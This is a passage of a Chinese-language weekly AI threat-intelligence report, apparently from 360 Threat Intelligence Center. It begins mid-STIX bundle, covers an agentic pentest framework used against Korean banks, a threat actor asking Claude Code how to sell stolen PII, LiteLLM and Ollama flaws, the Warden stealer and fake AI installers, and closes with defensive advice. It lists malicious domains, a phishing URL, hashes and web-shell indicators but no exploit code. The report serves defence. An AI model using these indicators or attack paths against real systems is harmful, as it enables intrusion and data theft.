"description": "威胁行为者以韩国金融机构外围互联网 Web 应用为目标",
"x_evidence": "The threat actor exploited peripheral internet-facing web applications, including customer-facing inquiry portals and employee-facing mobile application backends.",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--43d301d0-11d6-41ef-8866-6272d23069f7",
"relationship_type": "targets",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "infrastructure--9a08cc62-bccf-41c7-8510-2d27e4003fa8",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 代理自主识别并探测韩国金融机构外围 Web 应用",
"x_evidence": "ARTEX agents autonomously identified and probed peripheral internet-facing web applications outside the institutions' core banking infrastructure.",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7d5ec1ed-d95f-4e2b-ba10-a993434c6e5a",
"relationship_type": "exploits",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "vulnerability--8210c716-979b-4667-bf38-9d11dbd0d334",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 或 LLM 驱动代理识别并利用 SQL injection 漏洞",
"x_evidence": "LLM-driven agents identified and exploited vulnerabilities including SQL injection and authentication bypass in the peripheral web applications to gain unauthorized access.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1f1ea1b0-0047-415e-972a-d693b5062489",
"relationship_type": "exploits",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "vulnerability--eb448e83-ff78-45c8-b0ef-d35d09f95726",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 或 LLM 驱动代理识别并利用 authentication bypass 漏洞",
"x_evidence": "LLM-driven agents identified and exploited vulnerabilities including SQL injection and authentication bypass in the peripheral web applications to gain unauthorized access.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9456f063-b064-413e-a000-a23840274e89",
"relationship_type": "uses",
"source_ref": "intrusion-set--e02a82fd-623c-47da-8a46-7ba9df53b702",
"target_ref": "tool--22ddb1ea-087b-457a-8e18-4f72b8f054bd",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "威胁行为者使用 Claude Code 寻求出售被盗数据的建议并查找韩语 Telegram 频道",
"x_evidence": "The threat actor used Claude Code sessions to seek advice on selling stolen South Korean financial PII and to locate Korean-language Telegram channels used to sell stolen data.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8aa3b27a-a8ae-4cf3-8182-4347582d8a29",
"relationship_type": "uses",
"source_ref": "intrusion-set--e02a82fd-623c-47da-8a46-7ba9df53b702",
"target_ref": "tool--bd418719-c03c-42c5-80b1-aa5344d62dc9",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "威胁行为者计划通过 Telegram 出售被盗数据",
"x_evidence": "The threat actor used Claude Code sessions to locate Korean-language Telegram channels used to sell stolen data, and the attack chain indicates planning to sell stolen data via Telegram.",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--57f15cc0-5a35-4e6a-a126-fbfb285ff46b",
"relationship_type": "communicates-with",
"source_ref": "tool--22ddb1ea-087b-457a-8e18-4f72b8f054bd",
"target_ref": "domain-name--ed92d0ed-8c0a-45e3-9f5d-e922e9b95d24",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "Claude Code 出站 API 调用至 api.anthropic.com",
"x_evidence": "Outbound API calls to api.anthropic.com Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--cb81fe99-7bc5-46fd-aa02-b0698dbd0597",
"relationship_type": "communicates-with",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "domain-name--82923d42-be47-41b9-ada0-e7adc061202e",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 出站 API 调用至 api.deepseek.com",
"x_evidence": "Outbound API calls to api.deepseek.com Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3a2a9e0e-12ad-41c9-8435-a2be24d24102",
"relationship_type": "communicates-with",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "domain-name--05a47f59-3798-488b-9e26-ccb3c2c6b229",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 出站 API 调用至 open.bigmodel.cn",
"x_evidence": "Outbound API calls to open.bigmodel.cn Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b0edc62e-74a4-4ae6-a45e-135956d7be65",
"relationship_type": "communicates-with",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "domain-name--4dde8166-c4f6-43af-92a8-7ec7b20ebe25",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 出站 API 调用至 api.x.ai",
"x_evidence": "Outbound API calls to api.x.ai Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e899b884-36bb-49c0-9b29-4ca150438848",
"relationship_type": "hosts",
"source_ref": "infrastructure--9a08cc62-bccf-41c7-8510-2d27e4003fa8",
"target_ref": "observed-data--01dddb60-9d48-48c8-8e96-27fa963c2964",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "目标外围 Web 应用路径可能出现 *.aspx 文件，潜在 Web Shell 活动",
"x_evidence": "Presence of *.aspx files in unexpected web application paths Potential web shell activity.",
"x_confidence": 0.5
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--25db42b8-8987-4338-be29-f1d277597a61",
"relationship_type": "hosts",
"source_ref": "infrastructure--9a08cc62-bccf-41c7-8510-2d27e4003fa8",
"target_ref": "observed-data--01dddb60-9d48-48c8-8e96-27fa963c2964",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "目标外围 Web 应用路径可能出现 *.jsp 文件，潜在 Web Shell 活动",
"x_evidence": "Presence of *.jsp files in unexpected web application paths Potential web shell activity.",
"x_confidence": 0.5
}
]
}报告链接：
https://www.zscaler.com/blogs/security-research/threat-actor-abuses-agentic-ai-pentesting-framework-target-south-korean
───────────────────────────────────
（五）LiteLLM授权缺陷可导致账户接管与代码执行
事件名称：当LLM网关出错时：来自LiteLLM的发现
发布日期：2026-10-13
发布机构：Check Point Research
威胁概述：
Check Point Research披露，LiteLLM的/config/update端点缺少管理角色校验，低权限已认证用户可修改运行时配置，进而读取服务器文件、接管管理员账户，或借远程Python模块执行代码。另一问题允许通过user_config控制请求转发目的地，造成API密钥泄露及SSRF风险，涉及CVE-2026-35029和CVE-2026-59823。
IOC指标：
· CVE：CVE-2026-35029, CVE-2026-59823
报告链接：
https://research.checkpoint.com/2026/when-llm-gateways-go-wrong-findings-from-litellm/
───────────────────────────────────
（六）Warden窃取AI Agent令牌及MCP配置
事件名称：窃密木马盯上 AI Agent：Warden Stealer 三个月蹿红，专偷 Claude、Cursor 的"钥匙"
发布日期：2026-10-12
发布机构：奇安信威胁情报中心
威胁概述：
奇安信威胁情报中心披露，Warden Stealer窃密木马针对Claude、Cursor等AI编程助手，收集访问令牌、MCP配置及会话数据，可能泄露连接服务的密钥与项目上下文。该木马通过破解软件、恶意广告等渠道投递加载器，结合内存注入和代码变形规避检测，并将窃取的数据回传至C2服务器。
IOC指标：
· SHA256（节选）：006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c, 0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a, 63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef, 77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e, 77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
· Domain（节选）：backtoblack7.com, berff3788.com, bobroviysmex.shop, bomboclat.rest, brodyagup.com
报告链接：
http://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247520870&idx=1&sn=f213058551e4aba138cd49b241f61abe
───────────────────────────────────
（七）仿冒AI工具钓鱼与恶意安装链路持续活跃
事件名称：伪造的人工智能工具以美国公司为目标：Claude、ChatGPT和Copilot
发布日期：2026-10-14
发布机构：ANY.RUN
威胁概述：
ANY.RUN分析了假冒Claude、ChatGPT、Copilot等AI工具的攻击链。攻击者通过搜索广告、仿冒下载页面或共享对话诱导用户安装恶意程序、复制执行命令，或在伪造登录窗口输入凭据，最终投递窃密软件、盗取会话或接管业务账户。此类活动利用AI品牌作为诱饵，不能据此认定恶意代码由AI生成。
IOC指标：
· Domain（节选）：claudecode.us.com, setup-code.com, use-code.com, code-setup.com, claude-setup.com
· SHA256：882b1aa5432509df9b1ac29b6f987a5dd70c8f46009237de956275a58536f470, e86f7ba0413a3a4b1d7e1a275b3d1ef62345c9d3fd761635ff188119b8122c85
· URL：https://last-version.install-2026.com/app, https://chatgpt.com/s/t_6a80bc61c434819190c3eae5932307e8
报告链接：
https://any.run/cybersecurity-blog/fake-ai-tools-us-companies/
───────────────────────────────────
（八）Ollama Pull API存在服务端请求伪造漏洞
事件名称：CVE-2026-108836：Ollama 软件中的服务端请求伪造漏洞
发布日期：2026-10-12
发布机构：SecurityVulnerability.io
威胁概述：
公开漏洞报告显示，Ollama的Pull API模型组件中IsValid函数存在服务端请求伪造问题CVE-2026-108836，影响0.34.1及之前版本，攻击者可能远程操纵服务器发起请求。报告建议升级至0.34.2。本条属于漏洞披露与风险提示，所用素材没有提供具体受害机构或确认在野利用的证据。
IOC指标：
· CVE：CVE-2026-108836
报告链接：
https://securityvulnerability.io/vulnerability/CVE-2026-108836
───────────────────────────────────
三、本周AI安全风险观察
AI身份资产正与传统凭据共同成为窃取目标。AI助手令牌不仅关联模型调用，也可能连接代码仓库、外部服务和开发上下文。应将其纳入统一凭据盘点与失陷响应。
AI工具供应链风险延伸到请求转发和MCP配置。恶意开发包可能改变模型连接目的地、增加不可信工具，导致开发数据经正常工作流程流向攻击者。
AI辅助攻击的证据强度应分别判断。ARTEX报告描述了工具被滥用的具体链路；Linux间谍报告中的AI参与判断依赖代码与操作特征，不应扩大为已证实的全自主攻击。
LLM网关和模型运行服务仍需落实应用安全边界。低权限配置修改、远程模块加载和服务端请求验证缺陷，都可能把AI应用权限扩展成主机或网络访问能力。
───────────────────────────────────
四、安全建议
处置AI开发身份泄露：将Aoki、Warden相关指标纳入终端和日志排查；发现感染后隔离设备，吊销并轮换受影响的AI API密钥、OAuth及会话令牌，同时检查MCP配置和已连接服务。
核验AI工具与依赖来源：使用经过审核的AI工具目录和安装渠道，审计npm包、模型API目的地址及MCP服务器配置；对安装后新增的网络连接、敏感文件读取和不必要工具权限进行监控。
降低AI辅助入侵的影响：收敛互联网应用暴露面，强化身份验证与出站访问控制，监测异常交互式Shell、数据库导出及凭据访问；对政府和金融等敏感业务加强相应检测。
修补AI服务组件：依据素材所述将LiteLLM升级至1.83.9及以上版本、Ollama升级至0.34.2，并核对所用版本与厂商公告；限制管理接口、配置变更及服务出站权限。
防范AI品牌诱饵：培训用户识别假冒登录窗口和安装命令，不从广告、共享对话或陌生邀请中直接执行脚本；监测异常脚本执行、恶意安装程序及浏览器会话访问。
───────────────────────────────────
五、报告总结
本期AI安全风险同时涉及身份、工具链与运行服务。窃密木马关注AI助手的令牌和本地配置，恶意开发包可改变模型请求与工具配置，仿冒AI品牌活动则将员工安装和登录操作转化为入侵入口。
AI也在改变攻击执行方式。ARTEX被用于未授权渗透，而针对Linux基础设施的间谍活动出现疑似AI参与线索。服务端方面，LiteLLM和Ollama的缺陷说明AI网关与模型服务仍需严格管理权限、配置和网络边界。
组织可优先盘点AI开发身份、核验依赖与MCP来源、收敛服务暴露并更新受影响组件，再结合终端检测、出站审计与凭据轮换形成闭环。风险观察和建议为基于本期素材的分析归纳。
───────────────────────────────────
报告说明
本报告由360威胁情报中心基于2026年10月10日至10月16日公开威胁情报整理形成，重点分析Aoki与Warden凭据窃取恶意软件、Apex Accelerator恶意软件包与AI链路劫持、疑似AI辅助的Linux间谍活动、ARTEX智能体渗透框架滥用、LiteLLM高危漏洞、仿冒AI工具钓鱼及Ollama服务端请求伪造等事件，为企业AI应用、Agent开发环境、软件供应链与身份认证安全防护提供参考。
情报时效性：2026年10月10日—10月16日 威胁评估等级：高风险（多源情报验证）